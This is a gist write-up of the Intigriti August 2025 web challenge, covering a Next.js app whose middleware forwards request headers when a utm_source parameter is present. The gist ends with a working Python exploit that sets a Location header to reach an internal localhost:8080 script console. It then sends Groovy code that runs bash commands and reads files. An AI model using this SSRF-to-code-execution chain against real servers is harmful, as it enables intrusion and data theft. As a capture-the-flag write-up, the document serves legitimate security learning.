Skip to content

Instantly share code, notes, and snippets.

@Siss3l
Last active August 27, 2025 17:08
Show Gist options
  • Save Siss3l/50125cdc8f062d39f295b2509ee53d9c to your computer and use it in GitHub Desktop.
Save Siss3l/50125cdc8f062d39f295b2509ee53d9c to your computer and use it in GitHub Desktop.
Intigriti August 2025 XSS Challenge @0xblackbird

Intigriti August 2025 XSS Challenge

Chall

Description

The solution:

  • Should not exploit 0-day or Chromium RCE;
  • Should leverage RCE on the server without sandbox;
  • Should include the flag in the format INTIGRITI{...};

Overview

This web challenge allows us to create some accounts.

Resolution

Since we don't have much time to participate, we'll take a look at the most impactful technologies of the challenge.

Some false leads:

  • Mongodb-7.0 uses an older version, but it's still practical;
  • The isPremium variable is not very useful for now;
  • account creation does not have the same conditions from client-side to server-side POST {"name":"$ne","email":"..","password":".."} that may lead to Nosqli;
  • JWT and _rsc parameter cannot be exploited as we would like;
  • development mode doesn't change much;
  • Could remove CSP with the header Purpose:prefetch or crash the instance with next-router-prefetch:1;
  • request.nextUrl does not allow attacks sadly.

Data

A closer look at the code reveals useful tips:

{/* Footer with CTF hint */}
<footer className="bg-gray-800 text-white py-4 mt-12">
    <div className="max-w-7xl mx-auto px-4 text-center text-sm">
        <p>© {new Date().getFullYear()} CatFlix - Powered by a small team of cats</p>
        <p className="text-gray-400 text-xs mt-1">Build: v8.2025. Help contribute: <a href="/source.zip">Download source code</a></p>
    </div>
</footer>
{/* CTF Hint */}
<div className="mt-8 pt-6 border-t border-gray-200">
    <p className="text-xs text-gray-400 text-center">Secure authentication powered by NextAuth.js</p>
</div>
{/* Terms and CTF hint */}
<div className="mt-8 pt-6 border-t border-gray-200">
    <p className="text-xs text-gray-400 text-center">By signing up, you agree to our Terms of Service and Privacy Policy.<br />
        <span className="text-gray-300">
            {/* Hint for CTF players */}
            {/* Internal services use default configurations */}
        </span>
    </p>
</div>

We understand that we need to recover the NextAuth secret while focusing on various internal services.

import { getToken }         from 'next-auth/jwt'; // ./src/middleware.ts
import { NextResponse }     from 'next/server';
import type { NextRequest } from 'next/server';
import { v4 }               from 'uuid';
export async function middleware(request: NextRequest) {
    const { pathname, searchParams } = request.nextUrl;
    const token = await getToken({ req: request, secret: process.env.NEXTAUTH_SECRET });
    if (!token && pathname === '/' && (searchParams.has('utm_source') || searchParams.has('utm_medium') || searchParams.has('utm_campaign'))) {
        const requestHeaders = new Headers(request.headers);
        const res = {
            headers: requestHeaders,
            request: { headers: requestHeaders, }
        }; // TODO: Handle analytics
        return NextResponse.next(res);
    }; // Add security headers
    const response = NextResponse.next();
    const nonce = Buffer.from(v4()).toString('base64');
    const CSPHeader: string = `
        default-src 'self';
        script-src 'self' 'unsafe-eval' 'nonce-${nonce}' http://localhost https://challenge-0825.intigriti.io blob:;
        connect-src 'self' http://localhost https://challenge-0825.intigriti.io;
        style-src 'self' 'unsafe-inline' http://localhost https://challenge-0825.intigriti.io;
        img-src 'self' blob: data: http://localhost https://challenge-0825.intigriti.io;
        font-src https://fonts.googleapis.com/ https://fonts.gstatic.com/ http://localhost https://challenge-0825.intigriti.io;
        object-src 'none';
        base-uri 'self';
        form-action 'self' http://localhost https://challenge-0825.intigriti.io;
        frame-ancestors 'self';
        block-all-mixed-content;
        upgrade-insecure-requests;
        frame-src http://localhost https://challenge-0825.intigriti.io blob:
    `;
    response.headers.set('x-nonce',                 `${nonce}`);
    response.headers.set('Content-Security-Policy', CSPHeader.replace(/\s{2,}/g, ' ').trim());
    response.headers.set('Referrer-Policy',         'no-referrer');
    response.headers.set('X-Frame-Options',         'SAMEORIGIN');
    response.headers.set('X-Content-Type-Options',  'nosniff');
    response.headers.set('X-Current-Path',          `${request?.nextUrl?.pathname ?? 'Unknown'}`);
    return response;
};
export const config = {
    matcher: [
        /*
         * Middleware must match all request paths except for the ones starting with:
         * - api (API routes)
         * - _next/static (static files)
         * - _next/image (image optimization files)
         * - favicon.ico (favicon file)
         */
        {
            source: '\/((?!api|\_next\/static|\_next\/image|favicon\.ico).*)',
            missing: [
                { type: 'header', key: 'next-router-prefetch' },
                { type: 'header', key: 'purpose', value: 'prefetch' },
            ],
        },
    ],
};

Bruh

If we meet all the if(!token && pathname === '/' && searchParams.has('utm_source')) condition, we see that we can add different headers, which seems critical.

Based on various challenges of this type and given the CSP containing localhost endpoints, we should search for various accessible internal services.

We have hopefully some location responding on port 8080, so we just need to retrieve the flag now:

from blake3    import blake3
from requests  import post

req = post("http://challenge-0825.intigriti.io/?utm_source", # Into requestHeaders
    headers = {
        "Host":     "challenge-0825.intigriti.io",
        "Location": "http://localhost:8080/script" # SSRF | host.docker.internal
    },
    data = {
        "script": "println/**/new File(['bash','-c','ls /*/*.txt'].execute().in.text.trim()).text.trim()" # Groovy code
    }).text
print(blake3((s := req[req.find("INTIGRITI{"):req.find("}")+1]).encode()).hexdigest())
# 83ae74feddf531d1cced2d01f26420348c52be7500af7e79870ceb3772e64b07

Gud

Appendix

The devil is always in the details.

ඞ

Comments are disabled for this gist.